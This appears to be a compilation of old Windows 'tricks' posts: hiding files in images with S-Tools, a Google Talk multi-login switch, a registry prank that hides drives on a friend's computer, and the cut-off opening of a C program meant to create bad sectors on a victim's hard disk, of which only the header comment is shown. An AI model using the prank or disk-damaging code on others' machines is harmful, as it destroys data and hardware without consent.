Steganography

The art and science of hiding information by embedding messages within other, seemingly harmless messages. Steganography works by replacing bits of useless or unused data in regular computer files (such as graphics, sound, text, HTML, or even floppy disks ) with bits of different, invisible information. This hidden information can be plain text, cipher text, or even images.

Some common files used for hiding the data are .jpeg, .bmp, .jpg, .bmp, .pdf, .mp3, .wav, .gif, etc.

The following example gives detailed overview on how data can be hide by steganography :-
The tool used in this example is "S-Tools".

1) Prepare the secret file that you want to hide (eg. '.txt')
2) Launch the steganography tool (eg. 'S-Tools')
3) Drag and drop the host file (image, audio or video) inside which you want to hide your secret file.(eg. 'Sachin.bmp')
4) Now, Drag and drop the secret file (eg. 'New Text Document.txt') over the host file (eg. 'Sachin.bmp'). As soon as you drop the secret file you will be alerted by s-tools to enter password and to choose encryption algorithm which can be further used to retrieve your secret file from the host file.
5) After entering password and encryption algorithm, click OK, the steganography tool will then create an identical copy of the host file (eg. 'hidden data.bmp') as shown below.
This identical copy actually consist of hidden data (your secret file), but it can never be differentiated from original one by human eyes.
6) The duplicate file containing hidden data can be saved by right clicking and selecting 'save as' option.
7) To reveal the hidden data from duplicate file (eg. hidden data.bmp'), open the file in steganography tool. Then right click and select 'reveal' option; you will be promted to enter password and proper encryption algorithm. As soon as you click OK you will be offered by 'reveal archive' as shown below :

This consist of exact secret file (eg. 'New Text Document.txt'). Then, you can save it to read the secret information.

Multiple Login in Google Talk!

?Multiple Login in Google Talk!??
I wonder why this feature is not by default included in Google Talk. One can login simultaneously to more than one account. Unlike yahoo multiple login no need of registry editing here.

Follow these simple steps.........

* Create a shortcut of your Google talk.

* Right click the shortcut ----> choose Properties.

* In the "Target" you will find this "C:\Program Files\Google\Google Talk\googletalk.exe"

* Now at the end of target add this "/nomutex" without the quotes. It should be like this "C:\Program Files\Google\Google Talk\googletalk.exe" /nomutex There is a space after googletalk.exe"

Thats it .Click OK and you can open more than one Google talk.

How to Hide the drives(c:,d:,e:,a:...etc) in My Computer
This is a great trick you can play on your friends. To disable the display of local 
or networked drives when you click My Computer.




1.Go to start->run.Type regedit.Now go to:

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer

Now in the right pane create a new DWORD item and name it NoDrives(it is case sensitive). 
Now modify it's value and set it to 3FFFFFF (Hexadecimal) .Now restart your computer.
 So, now when you click on My Computer, no drives will be shown(all gone...). 
To enable display of drives in My Computer, simply delete this DWORD item that you created.
Again restart your computer.You can now see all the drives again. Magic........lol....

Damage ur hard disk

damage ur hard disk with these programs...........
DIS IS FOR EDUCATION PURPOSE ONLY.PLZ PLZ DONT USE IT.DIS IS C SOURCE CODE PROGRAM

/*create bad sectors on the hard disk.
*
* This program will create bad sectors on the hard disk. If you left it
* running for long enough, it could render a hard disk quite useless. When
* bad sectors are found, the sector is marked as bad, so fixing the hard disk
* is not an easy task. Unless the victim has time and knowledge to fix the
* disk, the hard drive can be left quite literally defective.
* supported by da-man
* I don't take responsibility for what you do with this program, served foe educational purpose only.
*
* this is C program. Just Run in Turbo C language..
